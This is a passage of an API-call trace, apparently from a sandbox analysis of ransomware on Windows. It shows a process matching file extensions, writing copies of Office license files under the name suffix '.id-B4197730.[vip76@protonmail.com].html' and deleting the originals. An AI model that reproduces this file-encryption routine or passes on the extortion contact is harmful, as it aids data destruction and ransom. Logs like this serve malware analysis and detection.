	[0196.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.601] lstrlenW (lpString=".1cd") returned 4
	[0196.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0196.601] lstrlenW (lpString=".jpg") returned 4
	[0196.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.601] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.601] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29
	[0196.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0196.602] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=21546) returned 1
	[0196.602] CloseHandle (hObject=0x514) returned 1
	[0196.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220
	[0196.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0196.603] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.603] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0196.604] GetLastError () returned 0x0
	[0196.604] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x542a, lpOverlapped=0x0) returned 1
	[0196.661] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0196.663] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.663] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0196.663] SetEndOfFile (hFile=0x5e0) returned 1
	[0196.663] CloseHandle (hObject=0x5e0) returned 1
	[0196.663] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.664] SetEndOfFile (hFile=0x514) returned 1
	[0196.667] CloseHandle (hObject=0x514) returned 1
	[0196.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1
	[0196.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.668] lstrlenW (lpString=".doc") returned 4
	[0196.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.668] lstrlenW (lpString=".docx") returned 5
	[0196.669] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.669] lstrlenW (lpString=".pdf") returned 4
	[0196.669] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString=".xls") returned 4
	[0196.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString=".xlsx") returned 5
	[0196.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.669] lstrlenW (lpString=".ppt") returned 4
	[0196.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString=".zip") returned 4
	[0196.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString=".rar") returned 4
	[0196.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString=".bz2") returned 4
	[0196.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString=".7z") returned 3
	[0196.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString=".dbf") returned 4
	[0196.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString=".1cd") returned 4
	[0196.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString=".jpg") returned 4
	[0196.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.669] lstrlenW (lpString=".doc") returned 4
	[0196.669] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".docx") returned 5
	[0196.670] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.670] lstrlenW (lpString=".pdf") returned 4
	[0196.670] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".xls") returned 4
	[0196.670] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".xlsx") returned 5
	[0196.670] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.670] lstrlenW (lpString=".ppt") returned 4
	[0196.670] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.670] lstrlenW (lpString=".zip") returned 4
	[0196.670] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".rar") returned 4
	[0196.670] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".bz2") returned 4
	[0196.670] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString=".7z") returned 3
	[0196.670] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.670] lstrlenW (lpString=".dbf") returned 4
	[0196.670] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.670] lstrlenW (lpString=".1cd") returned 4
	[0196.670] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0196.670] lstrlenW (lpString=".jpg") returned 4
	[0196.670] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.670] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.671] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32
	[0196.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0196.671] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=21606) returned 1
	[0196.671] CloseHandle (hObject=0x514) returned 1
	[0196.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0196.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0196.672] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.672] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0196.673] GetLastError () returned 0x0
	[0196.673] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5466, lpOverlapped=0x0) returned 1
	[0197.059] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5470, lpOverlapped=0x0) returned 1
	[0197.060] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.060] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x114, lpOverlapped=0x0) returned 1
	[0197.060] SetEndOfFile (hFile=0x5e0) returned 1
	[0197.428] CloseHandle (hObject=0x5e0) returned 1
	[0197.464] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.464] SetEndOfFile (hFile=0x514) returned 1
	[0197.467] CloseHandle (hObject=0x514) returned 1
	[0197.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1
	[0197.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.469] lstrlenW (lpString=".doc") returned 4
	[0197.469] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".docx") returned 5
	[0197.469] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.469] lstrlenW (lpString=".pdf") returned 4
	[0197.469] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".xls") returned 4
	[0197.469] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".xlsx") returned 5
	[0197.469] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.469] lstrlenW (lpString=".ppt") returned 4
	[0197.469] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.469] lstrlenW (lpString=".zip") returned 4
	[0197.469] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".rar") returned 4
	[0197.469] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".bz2") returned 4
	[0197.469] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString=".7z") returned 3
	[0197.469] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.469] lstrlenW (lpString=".dbf") returned 4
	[0197.469] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.469] lstrlenW (lpString=".1cd") returned 4
	[0197.469] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.469] lstrlenW (lpString=".jpg") returned 4
	[0197.469] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString=".doc") returned 4
	[0197.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".docx") returned 5
	[0197.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.470] lstrlenW (lpString=".pdf") returned 4
	[0197.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".xls") returned 4
	[0197.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".xlsx") returned 5
	[0197.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.470] lstrlenW (lpString=".ppt") returned 4
	[0197.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString=".zip") returned 4
	[0197.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".rar") returned 4
	[0197.470] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".bz2") returned 4
	[0197.470] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString=".7z") returned 3
	[0197.470] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString=".dbf") returned 4
	[0197.470] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString=".1cd") returned 4
	[0197.470] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82
	[0197.470] lstrlenW (lpString=".jpg") returned 4
	[0197.470] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.471] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.471] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30
	[0197.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.471] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=21604) returned 1
	[0197.472] CloseHandle (hObject=0x514) returned 1
	[0197.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220
	[0197.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0197.472] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.472] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0197.473] GetLastError () returned 0x0
	[0197.473] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5464, lpOverlapped=0x0) returned 1
	[0197.478] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5470, lpOverlapped=0x0) returned 1
	[0197.480] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.480] WriteFile (in: hFile=0x5e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x110, lpOverlapped=0x0) returned 1
	[0197.480] SetEndOfFile (hFile=0x5e0) returned 1
	[0197.480] CloseHandle (hObject=0x5e0) returned 1
	[0197.480] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.480] SetEndOfFile (hFile=0x514) returned 1
	[0197.483] CloseHandle (hObject=0x514) returned 1
	[0197.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1
	[0197.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.484] lstrlenW (lpString=".doc") returned 4
	[0197.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.484] lstrlenW (lpString=".docx") returned 5
	[0197.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.484] lstrlenW (lpString=".pdf") returned 4
	[0197.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.484] lstrlenW (lpString=".xls") returned 4
	[0197.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.484] lstrlenW (lpString=".xlsx") returned 5
	[0197.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.485] lstrlenW (lpString=".ppt") returned 4
	[0197.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString=".zip") returned 4
	[0197.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString=".rar") returned 4
	[0197.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString=".bz2") returned 4
	[0197.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString=".7z") returned 3
	[0197.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString=".dbf") returned 4
	[0197.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString=".1cd") returned 4
	[0197.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString=".jpg") returned 4
	[0197.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80
	[0197.485] lstrlenW (lpString=".doc") returned 4
	[0197.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString=".docx") returned 5
	[0197.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.485] lstrlenW (lpString=".pdf") returned 4
	[0197.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.485] lstrlenW (lpString=".xls") returned 4
	[0197.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.486] lstrlenW (lpString=".xlsx") returned 5
	[0197.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.486] lstrlenW (lpString=".ppt") returned 4
